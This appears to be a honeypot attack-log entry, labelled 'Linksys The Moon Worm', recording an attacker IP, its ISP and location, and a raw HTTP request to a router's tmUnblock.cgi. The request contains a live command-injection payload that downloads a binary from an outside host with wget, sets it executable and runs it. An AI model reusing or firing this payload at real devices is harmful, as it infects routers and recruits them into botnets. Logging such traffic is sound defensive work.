This website uses cookies to improve user experience. By using this website you consent to all cookies in accordance with our terms.

Dismiss
Click here for some search hints
1-1 of 1 results (1 page)

Linksys "The Moon" Worm

[Attack info]
Attacker: 93.56.109.163
Dest. port: 8080
Time: 29/09/2020 23:25:11
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS12874 Fastweb SpA
Location: Lombardy, Milan (zipcode 20121)
POST /tmUnblock.cgi HTTP/1.1 Content-Length: 227 accept-encoding: gzip, deflate connection: keep-alive Accept: / User-Agent: python-requests/2.20.0 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Astra.mpsl%3B+wget+http%3A%2F%2F192.210.214.51%2Fbins%2FAstra.mpsl%3B+chmod+777+Astra.mpsl%3B+.%2FAstra.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&Sta